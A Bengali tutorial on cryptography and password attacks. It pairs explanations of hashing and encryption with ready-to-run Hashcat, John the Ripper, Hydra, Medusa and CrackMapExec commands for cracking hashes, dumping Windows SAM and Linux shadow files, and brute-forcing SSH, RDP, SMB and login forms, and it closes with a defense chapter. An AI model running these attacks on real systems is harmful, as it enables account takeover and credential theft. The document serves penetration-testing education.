// CYBER SECURITY SERIES //

Password Attacks

& Cryptography

সম্পূর্ণ বাংলা গাইড

Cryptography-র মূল তত্ত্ব থেকে শুরু করে Hashing, Encoding, Symmetric/Asymmetric Encryption, Password Cracking, Brute Force, Dictionary Attack এবং রক্ষার উপায় — সব কিছু।

```
password = "admin123"
md5_hash = 0192023a7bbd73250516f069df18b500
sha256 = 240be518fabd2724ddb6f04eeb1da5967448d7e831c08c8fa822809f74c720a9
[!] এই hash crack করাই আমাদের লক্ষ্য
```

Hashing | Encryption | Encoding | Brute Force | Dictionary Attack | Rainbow Table | Hashcat | John the Ripper | Hydra | Defense

// বিষয়সূচি //

PASSWORD ATTACKS & CRYPTOGRAPHY — COMPLETE ROADMAP

01 **Cryptography পরিচিতি**
Cryptography কী, কেন দরকার, মূল ধারণা
THEORY

02 **Encoding vs Hashing vs Encryption**
Base64, MD5, SHA, AES — পার্থক্য বোঝা
CRYPTO

03 **Hashing বিস্তারিত**
MD5, SHA-1, SHA-256, bcrypt, NTLM, LM Hash
HASH

04 **Symmetric Encryption**
AES, DES, 3DES, RC4 — একই key দিয়ে encrypt ও decrypt
ENCRYPT

05 **Asymmetric Encryption ও PKI**
RSA, ECC, Public/Private Key, SSL/TLS, Certificates
PKI

06 **Password Attack Types**
Brute Force, Dictionary, Rainbow Table, Credential Stuffing, Spraying
ATTACK

07 **Hashcat — Hash Cracking**
সম্পূর্ণ Hashcat guide — modes, rules, masks, wordlists
HASHCAT

08 **John the Ripper**
Password file crack, zip/ssh/pdf password, unshadow
JOHN

09 **Hydra — Online Brute Force**
SSH, FTP, HTTP, RDP, SMTP — network service attack
HYDRA

10 **Wordlists ও Rule-based Attack**
rockyou, SecLists, CeWL, Mentalist — custom wordlist তৈরি
WORDLIST

11 **Password Defense ও Best Practices**
Salting, bcrypt, MFA, Password Policy — রক্ষার উপায়
DEFENSE

12 **Cheat Sheet – সম্পূর্ণ রেফারেন্স**

Hash types, Hashcat modes, Hydra syntax — সব এক জায়গায়

CHEAT

CHAPTER 01

🔐 Cryptography পরিচিতি

Cryptography কী, কেন দরকার এবং Cyber Security-তে এর ভূমিকা

01

Cryptography কী?

Cryptography হলো তথ্যকে এমনভাবে রূপান্তর করার বিজ্ঞান যাতে শুধু নির্দিষ্ট ব্যক্তি সেটা পড়তে পারে। এটা তথ্যের **গোপনীয়তা (Confidentiality)**, **অখণ্ডতা (Integrity)** এবং **প্রামাণিকতা (Authenticity)** নিশ্চিত করে।

🔒 Confidentiality

শুধু অনুমোদিত ব্যক্তি তথ্য পড়তে পারবে। Encryption দিয়ে নিশ্চিত করা হয়।

✅ Integrity

তথ্য পথে পরিবর্তন হয়নি। Hashing দিয়ে নিশ্চিত করা হয়।

□ Authenticity

তথ্য সঠিক উৎস থেকে এসেছে। Digital Signature দিয়ে নিশ্চিত করা হয়।

Plaintext vs Ciphertext

```
Plaintext → [Encryption Algorithm + Key] → Ciphertext Example: Plaintext : "Hello World" Algorithm : AES-256 Key : "MySecretKey12345" Ciphertext : "U2FsdGVkX1+3xK8mP..." Ciphertext → [Decryption Algorithm + Key] → Plaintext
```

Cryptography-র ইতিহাস

যুগ	পদ্ধতি	বিবরণ
~58 BC	**Caesar Cipher**	প্রতিটি অক্ষর N ঘর সরানো (ROT13)
1467	**Vigenère Cipher**	Keyword দিয়ে multiple Caesar shifts
1940s	**Enigma Machine**	WWII-তে German সামরিক cipher
1976	**DES**	প্রথম standard symmetric cipher
1977	**RSA**	Public-key cryptography যুগের শুরু
2001	**AES**	আধুনিক standard — এখনো সবচেয়ে নিরাপদ

Caesar Cipher — হাতে-কলমে

```
# Caesar Cipher Python Implementation def caesar_encrypt(text, shift=3): result = ""
for char in text: if char.isalpha(): base = 65 if char.isupper() else 97 result +=
chr(((ord(char) - base + shift) % 26) + base) else: result += char return result
print(caesar_encrypt("HELLO", 3)) # KHOOR print(caesar_encrypt("KHOOR", -3)) # HELLO
(decrypt) # ROT13 (shift=13, encrypt = decrypt) import codecs
print(codecs.encode("Hello", "rot_13")) # Uryyb
```

// মূল কথা //

- 🔐 Cryptography = তথ্যকে রক্ষা করার বিজ্ঞান
- 📋 CIA Triad: Confidentiality, Integrity, Authenticity
- 🔑 Plaintext + Algorithm + Key = Ciphertext

CHAPTER 02

⚖️ Encoding vs Hashing vs Encryption

তিনটার মধ্যে পার্থক্য বোঝা — Pentester-দের সবচেয়ে বেশি জিজ্ঞেস করা প্রশ্ন

02

তিনটির তুলনা

	Encoding	Hashing	Encryption
উদ্দেশ্য	Format রূপান্তর	Integrity যাচাই	গোপনীয়তা
Reversible?	YES	NO	YES (with key)
Key?	No	No	Yes
উদাহরণ	Base64, URL encoding	MD5, SHA-256, bcrypt	AES, RSA, ChaCha20
নিরাপত্তা	None	Medium	High

Encoding — শুধু Format বদলানো

```
import base64 # Base64 Encode text = "admin:password123" encoded =
base64.b64encode(text.encode()).decode() print(f"Encoded: {encoded}") #
YWRtaW46cGFzc3dvcmQxMjM= # Base64 Decode (সহজেই উল্টানো যায়!) decoded =
base64.b64decode(encoded).decode() print(f"Decoded: {decoded}") # admin:password123 #
URL Encoding from urllib.parse import quote, unquote url_encoded = quote("' OR 1=1--")
print(url_encoded) # %27%20OR%201%3D1-- # Hex Encoding hex_encoded =
"password".encode().hex() print(hex_encoded) # 70617373776f7264
```

⚠️ গুরুত্বপূর্ণ সতর্কতা

Base64 **encryption নয়** — এটা শুধু format পরিবর্তন। যে কেউ decode করতে পারবে। অনেক developer ভুল করে Base64-কে security মনে করে। Password কখনো Base64-এ store করো না।

Hash Collision ও Weakness

```
import hashlib # MD5 — BROKEN! (collision vulnerable)
print(hashlib.md5(b"abc").hexdigest()) # 900150983cd24fb0d6963f7d28e17f72 # SHA-1 —
DEPRECATED print(hashlib.sha1(b"abc").hexdigest()) #
a9993e364706816aba3e25717850c26c9cd0d89d # SHA-256 — RECOMMENDED
print(hashlib.sha256(b"abc").hexdigest()) #
ba7816bf8f01cfea414140de5dae2ec73b00361bbef0469348423f656b7... # SHA-512 — MOST SECURE
standard print(hashlib.sha512(b"abc").hexdigest())
```

CHAPTER 03

Hashing বিস্তারিত

MD5 থেকে bcrypt পর্যন্ত — সব hash type, কোনটা কোথায় দেখবে, কীভাবে চিনবে

03

Hash দেখে চেনার উপায়

```
MD5       → 5f4dcc3b5aa765d61d8327deb882cf99  (32 chars)
SHA-1     → 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8  (40 chars)
SHA-256   → 5e884898da28047151d0e56f8dc629277360...  (64 chars)
SHA-512   → b109f3bbbc244eb82441917ed06d618b9008...  (128 chars)
NTLM      → 8846f7eaee8fb117ad06bdd830b7586c  (32 chars, Windows)
bcrypt    → $2a$12$R9h/cIPz0gi.URNNX3kh2OPST9/PgBkqquzi.Ss7KIUgO2t0jWMUW  ($2a$ prefix)
MD5crypt  → $1$xyz$hashed_value  ($1$ prefix, Linux)
sha512crypt → $6$rounds=5000$salt$hash  ($6$ prefix, modern Linux)
```

Hash Identification Tools

```
# hash-identifier $ hash-identifier $ hash-identifier
"5f4dcc3b5aa765d61d8327deb882cf99" # hashid — pip install hashid $ hashid
"5f4dcc3b5aa765d61d8327deb882cf99" [+] MD5 [+] MD4 # name-that-hash $ nth --text
"5f4dcc3b5aa765d61d8327deb882cf99" # Python দিয়ে import hashlib h =
"5f4dcc3b5aa765d61d8327deb882cf99" if len(h) == 32: print("Possibly MD5 or NTLM") elif
len(h) == 40: print("Possibly SHA-1") elif len(h) == 64: print("Possibly SHA-256")
```

Windows Password Hashes — NTLM

```
# Windows SAM database dump (Metasploit) meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
```

```
# UID LM Hash (empty) NTLM Hash # Linux /etc/shadow format # username:$type$salt$hash:... root:$6$xyz123$LongHashValue...:18000:0:99999:7::: # $1 = MD5, $2a = bcrypt, $5 = SHA-256, $6 = SHA-512 # Hashcat hash mode চেনা # MD5 → -m 0 # SHA-1 → -m 100 # SHA-256 → -m 1400 # NTLM → -m 1000 # bcrypt → -m 3200 # sha512crypt → -m 1800
```

// Hash চেনার নিয়ম //

- 32 chars hex → MD5 বা NTLM
- 40 chars hex → SHA-1
- 64 chars hex → SHA-256
- `$2a$` prefix → bcrypt (crack করা কঠিন)
- `$6$` prefix → sha512crypt (Linux modern)
- Windows SAM → LM:NTLM format

CHAPTER 04

🔄 Symmetric Encryption

একই key দিয়ে encrypt ও decrypt — AES, DES, RC4 বিস্তারিত

04

Symmetric Encryption কীভাবে কাজ করে?

```
Sender (Alice) Receiver (Bob) Plaintext: "Secret Message" Ciphertext received ↓ ↓ [AES Encrypt] [AES Decrypt] ↓ ←── Shared Key ──→ ↓ Ciphertext: "X7#kP..." Plaintext: "Secret Message" Key must be shared securely beforehand!
```

AES — Advanced Encryption Standard

AES Type	Key Size	নিরাপত্তা	ব্যবহার
AES-128	128 bit	GOOD	সাধারণ ব্যবহার
AES-192	192 bit	BETTER	সরকারি ব্যবহার
AES-256	256 bit	BEST	Military grade

```
from Crypto.Cipher import AES # pip install pycryptodome from Crypto.Util.Padding import pad, unpad import os key = os.urandom(32) # 256-bit random key iv = os.urandom(16) # Initialization Vector # Encrypt cipher = AES.new(key, AES.MODE_CBC, iv) plaintext = b"Secret Message!!" ciphertext = cipher.encrypt(pad(plaintext, AES.block_size)) print(f"Encrypted: {ciphertext.hex()}") # Decrypt cipher2 = AES.new(key, AES.MODE_CBC, iv) decrypted = unpad(cipher2.decrypt(ciphertext), AES.block_size) print(f"Decrypted: {decrypted.decode()}")
```

Weak Algorithms — এড়িয়ে চলো

❌ Broken / Deprecated

- **DES** — 56-bit key, crack করা যায়
- **RC4** — Stream cipher, ভুলনীয়
- **MD5** — Collision vulnerable
- **SHA-1** — 2017 থেকে broken
- **3DES** — Slow ও vulnerable

✅ Recommended

- **AES-256-GCM** — সেরা পছন্দ
- **ChaCha20-Poly1305** — Mobile-এ ভালো
- **SHA-256 / SHA-3** — Hashing-এ
- **bcrypt / Argon2** — Password hashing-এ
- **RSA-2048+** — Asymmetric-এ

CHAPTER 05

🔑 Asymmetric Encryption ও PKI

Public/Private Key pair, RSA, SSL/TLS, Digital Signature — কীভাবে HTTPS কাজ করে

05

Asymmetric Encryption কীভাবে কাজ করে?

```
Bob has: Public Key (🔓 সবাই পাবে) + Private Key (🔐 শুধু Bob জানে) Alice → Bob কে message পাঠাবে: 1. Alice, Bob-এর Public Key দিয়ে message encrypt করে 2. Encrypted message Bob-এ পাঠায় 3. Bob তার Private Key দিয়ে decrypt করে শুধু Bob-ই decrypt করতে পারবে — কারণ শুধু সে Private Key জানে! Digital Signature (Bob প্রমাণ করবে সে-ই পাঠিয়েছে): 1. Bob তার Private Key দিয়ে message sign করে 2. Alice Bob-এর Public Key দিয়ে signature verify করে
```

RSA Key Generation

```
from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP # Key pair তৈরি key = RSA.generate(2048) private_key = key.export_key() public_key = key.publickey().export_key() print(private_key.decode()[:60]) # -----BEGIN RSA PRIVATE KEY----- print(public_key.decode()[:60]) # -----BEGIN PUBLIC KEY----- # Public key দিয়ে encrypt pub = RSA.import_key(public_key) cipher = PKCS1_OAEP.new(pub) ciphertext = cipher.encrypt(b"Secret") # Private key দিয়ে decrypt priv = RSA.import_key(private_key) cipher2 = PKCS1_OAEP.new(priv) decrypted = cipher2.decrypt(ciphertext) print(decrypted) # b'Secret' # OpenSSL দিয়ে (Terminal) # $ openssl genrsa -out private.pem 2048 # $ openssl rsa -in private.pem -pubout -out public.pem
```

SSL/TLS — HTTPS কীভাবে কাজ করে

```
TLS Handshake (সংক্ষেপে): Client Server |─── ClientHello (supported ciphers) ──→| |←── ServerHello + Certificate ────────| |←── Server's Public Key ──────────────| |── Pre-master Secret | | (encrypted with Server Public Key)→ | | | Both generate: Session
```

```
Key (Symmetric!) | | |═══════ Encrypted Data (AES) ═══════════| TLS certificate check
করা: $ openssl s_client -connect target.com:443 $ openssl x509 -in cert.pem -text -
noout
```

💡 **Pentesting-এ SSL/TLS দুর্বলতা**

- **POODLE** — SSLv3 vulnerability
- **BEAST** — TLS 1.0 CBC vulnerability
- **Heartbleed** — OpenSSL memory leak (CVE-2014-0160)
- **CRIME/BREACH** — Compression side-channel
- Expired / Self-signed certificate

CHAPTER 06

💥 Password Attack Types

সব ধরনের password attack — কীভাবে কাজ করে, কখন কোনটা ব্যবহার করবে

06

Password Attack এর ধরন

🔨 Brute Force Attack

সম্ভব সব combination try করা। নিশ্চিত সফলতা কিন্তু অনেক সময় লাগে।

```
aaa → aab → aac → ... → zzz
```

📖 Dictionary Attack

Wordlist থেকে একটা একটা করে try করা। দ্রুত এবং common password-এ কার্যকর।

🌈 Rainbow Table Attack

Pre-computed hash table — hash দেখে সাথে সাথে password বলে দেয়। Salt থাকলে কাজ করে না।

🎭 Credential Stuffing

Data breach থেকে পাওয়া username/password অন্য site-এ try করা।

🌊 Password Spraying

একটা common password দিয়ে অনেক account-এ try করা। Account lockout এড়াতে।

⚙️ Rule-based Attack

Wordlist-এ rules apply করা — "password" → "P@ssw0rd!", "password1", "PASSWORD"

Mask Attack — Smart Brute Force

```
# Hashcat Mask Characters # ?l = lowercase (a-z) # ?u = uppercase (A-Z) # ?d = digit (0-9) # ?s = special (!@#$...) # ?a = all (?l?u?d?s) # Example: 8-char password: 4 lowercase + 4 digits $ hashcat -m 0 hash.txt -a 3 ?l?l?l?l?d?d?d?d # Common Bangladesh phone number pattern $ hashcat -m 0 hash.txt -a 3 01?d?d?d?d?d?d?d?d?d # Year suffix pattern (pass2024) $ hashcat -m 0 hash.txt -a 3 ?l?l?l?l?l?l?l?l2024 # Combination: dictionary + mask $ hashcat -m 0 hash.txt -a 6 rockyou.txt ?d?d?d?d
```

// কোন Attack কখন? //

- 🎯 Hash পেয়েছ → Dictionary + Rule-based দিয়ে শুরু করো
- 🎯 Password format জানা → Mask attack
- 🎯 Online service → Spraying (lockout এড়াতে)
- 🎯 Salt নেই → Rainbow table try করো

CHAPTER 07

⚡ Hashcat – সম্পূর্ণ গাইড

GPU-powered hash cracking tool — সবচেয়ে দ্রুত এবং সবচেয়ে শক্তিশালী

07

Hashcat Attack Modes

Mode (-a)	নাম	বিবরণ
-a 0	Dictionary	Wordlist থেকে crack
-a 1	Combination	দুটো wordlist combine করা
-a 3	Brute Force/Mask	Pattern দিয়ে সব try
-a 6	Hybrid (W+M)	Wordlist + Mask
-a 7	Hybrid (M+W)	Mask + Wordlist

Hashcat Hash Modes (-m)

```
# Common Hash Modes -m 0 → MD5 -m 10 → md5($pass.$salt) -m 20 → md5($salt.$pass) -m 100 → SHA1 -m 1000 → NTLM # Windows -m 1400 → SHA2-256 -m 1700 → SHA2-512 -m 1800 → sha512crypt ($6$) # Linux /etc/shadow -m 3000 → LM # Old Windows -m 3200 → bcrypt ($2*$) # Slowest to crack -m 5500 → NetNTLMv1 # Network capture -m 5600 → NetNTLMv2 # Responder capture -m 7400 → sha256crypt ($5$) -m 13100 → Kerberos 5 TGS # Kerberoasting -m 18200 → Kerberos 5 AS-REP # ASREPRoasting -m 22000 → WPA-PBKDF2-PMKID # WiFi
```

Hashcat ব্যবহারের উদাহরণ

```
# Basic dictionary attack $ hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt # Show cracked passwords $ hashcat -m 0 hash.txt --show # With rules (best64.rule is very powerful) $ hashcat -m 0 hash.txt rockyou.txt -r
```

```
/usr/share/hashcat/rules/best64.rule $ hashcat -m 0 hash.txt rockyou.txt -r
rules/OneRuleToRuleThemAll.rule # Mask attack — 8 chars, any $ hashcat -m 0 -a 3
hash.txt ?a?a?a?a?a?a?a?a # NTLM (Windows hash) $ hashcat -m 1000 ntlm.txt rockyou.txt
# sha512crypt (Linux /etc/shadow) $ hashcat -m 1800 shadow.txt rockyou.txt # bcrypt
(slow — GPU necessary) $ hashcat -m 3200 bcrypt.txt rockyou.txt --status # WiFi WPA2 $
hashcat -m 22000 capture.hc22000 rockyou.txt # Multiple hash files $ hashcat -m 0
hashes/ rockyou.txt # Resume interrupted session $ hashcat --session myscan --restore #
Benchmark (GPU performance test) $ hashcat -b -m 0
```

💡 **Hashcat Tips**

- GPU থাকলে Hashcat অনেক দ্রুত — CPU-র চেয়ে ১০০-১০০০x বেশি
- Kali VM-এ GPU pass-through করো সর্বোচ্চ performance-এর জন্য
- `--force` flag শুধু VM-এ দরকার হয়
- Rule combination সবচেয়ে বেশি কাজ দেয় — একাধিক rule try করো

CHAPTER 08

John the Ripper

Classic password cracker — /etc/shadow, zip, PDF, SSH key সব crack করতে পারে

08

John the Ripper Basics

```
# Basic usage — auto format detect $ john hash.txt # Wordlist দিয়ে $ john hash.txt --
wordlist=/usr/share/wordlists/rockyou.txt # Specific format $ john hash.txt --
format=md5crypt $ john hash.txt --format=bcrypt $ john hash.txt --format=NT # NTLM $
john hash.txt --format=sha512crypt # Cracked passwords দেখা $ john hash.txt --show #
Format list দেখা $ john --list=formats | grep -i md5 # Rules সহ $ john hash.txt --
wordlist=rockyou.txt --rules=best64
```

Linux /etc/shadow Crack

```
# /etc/passwd ও /etc/shadow combine করা $ unshadow /etc/passwd /etc/shadow >
combined.txt # John দিয়ে crack $ john combined.txt --wordlist=rockyou.txt $ john
combined.txt --show # /etc/shadow-এর format: # root:$6$salt$hash:18000:0:99999:7::: #
↑ $6 = sha512crypt → john format: sha512crypt
```

Zip, PDF, SSH Key Crack

```
# ZIP password crack $ zip2john protected.zip > zip.hash $ john zip.hash --
wordlist=rockyou.txt $ john zip.hash --show # PDF password crack $ pdf2john
document.pdf > pdf.hash $ john pdf.hash --wordlist=rockyou.txt # SSH Private Key
(passphrase protected) $ ssh2john id_rsa > ssh.hash $ john ssh.hash --
wordlist=rockyou.txt $ john ssh.hash --show # Windows NTLM $ john ntlm.txt --format=NT
```

```
--wordlist=rockyou.txt # 7-Zip $ 7z2john file.7z > 7z.hash $ john 7z.hash --
wordlist=rockyou.txt
```

CHAPTER 09

🔱 Hydra — Online Brute Force

Network service-এ live brute force — SSH, FTP, HTTP, RDP, SMTP এবং আরো

09

Hydra Syntax

```
# Hydra basic syntax: # hydra [OPTIONS] TARGET SERVICE # SSH Brute Force $ hydra -l admin -P rockyou.txt ssh://192.168.1.1 $ hydra -L users.txt -P rockyou.txt ssh://192.168.1.1 $ hydra -l root -P rockyou.txt 192.168.1.1 ssh -t 4 -V # FTP $ hydra -l admin -P rockyou.txt ftp://192.168.1.1 # RDP (Windows Remote Desktop) $ hydra -l administrator -P rockyou.txt rdp://192.168.1.1 # SMTP $ hydra -l user@domain.com -P rockyou.txt smtp://mail.target.com # HTTP POST Form $ hydra -l admin -P rockyou.txt 192.168.1.1 http-post-form \ "/login.php:username=^USER^&password=^PASS^:F=Invalid credentials" # HTTP Basic Auth $ hydra -l admin -P rockyou.txt http-get://192.168.1.1/admin # MySQL $ hydra -l root -P rockyou.txt mysql://192.168.1.1 # SMB (Windows share) $ hydra -l administrator -P rockyou.txt smb://192.168.1.1
```

Hydra গুরুত্বপূর্ণ Options

Option	কাজ
`-l`	Single username
`-L`	Username list file
`-p`	Single password
`-P`	Password list file
`-t 4`	4 parallel threads
`-V`	Verbose — প্রতিটা attempt দেখাও
`-f`	প্রথম সফলতায় থামো

Option	কাজ
`-s PORT`	Custom port
`-o out.txt`	Output file-এ save
`-R`	Interrupted session resume

Medusa ও CrackMapExec

```
# Medusa — Hydra alternative $ medusa -h 192.168.1.1 -u admin -P rockyou.txt -M ssh $ medusa -h 192.168.1.1 -U users.txt -P rockyou.txt -M ftp # CrackMapExec — SMB/AD Password Spraying $ crackmapexec smb 192.168.1.0/24 -u admin -p 'Password123!' $ crackmapexec smb 192.168.1.1 -u users.txt -p 'Summer2024!' $ crackmapexec ssh 192.168.1.1 -u admin -P rockyou.txt $ crackmapexec smb 192.168.1.1 -u admin -p pass --sam # Dump SAM
```

CHAPTER 10

📚 Wordlists ও Rule-based Attack

সঠিক wordlist নির্বাচন এবং custom wordlist তৈরির কৌশল

10

গুরুত্বপূর্ণ Wordlists

Wordlist	আকার	অবস্থান (Kali)	সেরা ব্যবহার
rockyou.txt	14M	`/usr/share/wordlists/rockyou.txt.gz`	সবচেয়ে বেশি ব্যবহৃত
SecLists	Multiple	`/usr/share/seclists/`	Web, username, password
dirb/common.txt	4.6K	`/usr/share/dirb/wordlists/`	Web directory
kaonashi	400M+	GitHub download	Hard hashes crack
CeWL generated	Custom	Target site থেকে	Target-specific

Custom Wordlist তৈরি করা

```
# CeWL — Target website থেকে wordlist $ cewl http://target.com -d 2 -m 5 -w custom.txt
# -d 2 = depth 2 levels, -m 5 = minimum 5 chars # Crunch — Pattern-based wordlist $
crunch 8 8 abcdefghijklmnopqrstuvwxyz0123456789 -o list.txt $ crunch 6 8 -t @@##%% # @
= lowercase, # = digit, % = special $ crunch 4 4 1234567890 -o pins.txt # CUPP — Common
User Password Profiler (target-specific) $ cupp -i # তোমার target-এর নাম, জন্মদিন, pet
name ইত্যাদি দিলে # personalized wordlist তৈরি করে # Mentalist (GUI) — rule-based wordlist
generator # Hashcat --stdout — wordlist generate করা $ hashcat -a 3 -m 0 ?l?l?l?l?d?d -
-stdout > generated.txt
```

Hashcat Rules — সবচেয়ে শক্তিশালী কৌশল

```
# Rules কী করে? "password" কে transform করে: # password → Password (capitalize) # password → PASSWORD (uppercase) # password → password1 (append digit) # password → p@ssword (leetspeak) # password → drowssap (reverse) # Built-in rule files (Kali) ls /usr/share/hashcat/rules/ # best64.rule — 64 most effective rules # rockyou-30000.rule — 30000 rules # OneRuleToRuleThemAll.rule — Best overall # Toggles5.rule — Uppercase toggles # Rule file তৈরি (custom.rule) # : = no change # u = UPPERCASE # l = lowercase # c = Capitalize # r = reverse # $1 = append "1" # ^! = prepend "!" # sa@ = substitute a→@ # Example custom.rule: # c → Password # c$1 → Password1 # c$1$2$3 → Password123 # u$! → PASSWORD! # sa@se3 → p@ssw0rd $ hashcat -m 0 hash.txt rockyou.txt -r custom.rule
```

CHAPTER 11

🛡️ Password Defense ও Best Practices

Attack জেনেছ — এখন শেখো কীভাবে নিজেকে ও সিস্টেমকে রক্ষা করবে

11

Salting — Rainbow Table প্রতিরোধ

```
import hashlib import os # Without salt — VULNERABLE! password = "password123" bad_hash
= hashlib.md5(password.encode()).hexdigest() print(f"Bad (no salt): {bad_hash}") #
Always same! → Rainbow table can crack this instantly # With salt — BETTER salt =
os.urandom(16).hex() # Random 16 bytes good_hash = hashlib.sha256((salt +
password).encode()).hexdigest() print(f"Good (with salt): {salt}:{good_hash}") #
Different every time → Rainbow table useless # bcrypt — BEST for passwords (auto salt +
slow) import bcrypt hashed = bcrypt.hashpw(password.encode(),
bcrypt.gensalt(rounds=12)) print(f"bcrypt: {hashed.decode()}") # Verify if
bcrypt.checkpw(password.encode(), hashed): print("✅ Password correct!")
```

Argon2 — সবচেয়ে আধুনিক

```
# pip install argon2-cffi from argon2 import PasswordHasher ph =
PasswordHasher(time_cost=2, memory_cost=65536, parallelism=2) # Hash করা hashed =
ph.hash("mypassword") print(hashed) # Verify করা try: ph.verify(hashed, "mypassword")
print("✅ Correct!") except: print("❌ Wrong!")
```

Password Policy Best Practices

❌ খারাপ প্র্যাকটিস

- MD5 দিয়ে password store করা
- Plain text-এ password রাখা
- Salt ছাড়া hash করা

- সব জায়গায় একই password
- Short password (< 8 chars)
- Dictionary word হিসেবে password

✅ ভালো প্র্যাকটিস

- bcrypt / Argon2 ব্যবহার করো
- Minimum 12+ character password
- প্রতিটা account-এ আলাদা password
- MFA/2FA সবসময় চালু রাখো
- Password Manager ব্যবহার করো
- Account lockout policy রাখো

Defense Layers

```
Layer 1: Strong Password Policy → Min 12 chars, uppercase + lowercase + digit + special → Dictionary word ban → Previous password re-use ban Layer 2: Secure Hashing → bcrypt (cost factor 12+) or Argon2id → Auto-salt built-in → Never MD5/SHA1 for passwords Layer 3: Multi-Factor Authentication → TOTP (Google Authenticator, Authy) → Hardware key (YubiKey) → SMS (weak but better than nothing) Layer 4: Account Lockout → 5 failed attempts → 15 min lockout → IP-based rate limiting → CAPTCHA after failures Layer 5: Monitoring → Log all auth attempts → Alert on suspicious patterns → Credential breach monitoring (HIBP API)
```

CHAPTER 12

📋 Cheat Sheet — সম্পূর্ণ রেফারেন্স

Hash modes, Hashcat commands, Hydra syntax, Encoding — সব এক জায়গায়

12

Hash Type Quick Reference

Hash	দৈর্ঘ্য	চেনার উপায়	Hashcat -m	অবস্থা
MD5	32	hex, 32 chars	0	BROKEN
SHA-1	40	hex, 40 chars	100	DEPRECATED
SHA-256	64	hex, 64 chars	1400	OK
SHA-512	128	hex, 128 chars	1700	GOOD
NTLM	32	hex, 32 chars (Windows)	1000	WEAK
bcrypt	60	$2a$ or $2b$ prefix	3200	STRONG
sha512crypt	~106	6 prefix (Linux)	1800	GOOD
NetNTLMv2	variable	Responder capture	5600	CRACKABLE
WPA2	.hc22000	WiFi handshake	22000	MEDIUM
Kerberos TGS	variable	$krb5tgs$ prefix	13100	CRACKABLE

⚡ Hashcat Cheat Sheet

Attack Modes

`hashcat -m 0 -a 0 h.txt w.txt` Dictionary

`hashcat -m 0 -a 3 h.txt ?a?a?a?a`	Mask/Brute
`hashcat -m 0 h.txt w.txt -r best64.rule`	Rules
`hashcat -m 0 -a 6 h.txt w.txt ?d?d`	Hybrid W+M
`hashcat -m 0 h.txt --show`	Cracked দেখা
`hashcat -b -m 0`	Benchmark

Mask Chars

`?l`	a-z (lowercase)
`?u`	A-Z (uppercase)
`?d`	0-9 (digit)
`?s`	!@#$… (special)
`?a`	?l+?u+?d+?s (all)
`?b`	0x00-0xFF (binary)

🔱 Hydra Cheat Sheet

Services

`hydra -l u -P p ssh://IP`	SSH
`hydra -l u -P p ftp://IP`	FTP
`hydra -l u -P p rdp://IP`	RDP
`hydra -l u -P p mysql://IP`	MySQL
`hydra -l u -P p smb://IP`	SMB
`hydra -l u -P p smtp://IP`	SMTP

Options

`-t 4`	4 threads
`-V`	Verbose output
`-f`	Stop on success
`-s PORT`	Custom port
`-o file.txt`	Save output

`-R`	Resume session

🔢 John the Ripper Cheat Sheet

Commands

`john hash.txt`	Auto detect
`john hash.txt --wordlist=r.txt`	Dictionary
`john hash.txt --show`	Show cracked
`unshadow passwd shadow > c.txt`	Linux combine
`zip2john file.zip > z.hash`	ZIP extract
`ssh2john id_rsa > s.hash`	SSH extract

Formats

`--format=md5crypt`	Linux MD5
`--format=sha512crypt`	Linux SHA512
`--format=bcrypt`	bcrypt
`--format=NT`	NTLM (Windows)
`--format=raw-md5`	Raw MD5
`--list=formats`	সব format দেখো

Encoding Quick Reference

Encode (Terminal)

`echo -n "text" | base64`	Base64 encode
`echo "b64" | base64 -d`	Base64 decode
`echo -n "text" | xxd`	Hex dump
`echo -n "text" | md5sum`	MD5 hash
`echo -n "text" | sha256sum`	SHA256 hash
`openssl enc -aes-256-cbc`	AES encrypt

Identify Tools

`hash-identifier`	Interactive hash ID
`hashid "hash_value"`	Hash type detect
`nth -t "hash"`	name-that-hash
`cewl http://site -w w.txt`	Site wordlist
`cupp -i`	Personal wordlist
`crunch 8 8 abc -o l.txt`	Generate list

```
$ hashcat --status knowledge.txt
```

[+] Cryptography বোঝা হলো ✓

[+] Password attacks শেখা হলো ✓

[+] Defense জানা হলো ✓

এই ডকুমেন্ট সম্পূর্ণ শিক্ষামূলক উদ্দেশ্যে। সবসময় authorized environment-এ practice করো।

v1.0 — Password Attacks & Cryptography | Bilingual | 12 Chapters + Cheat Sheet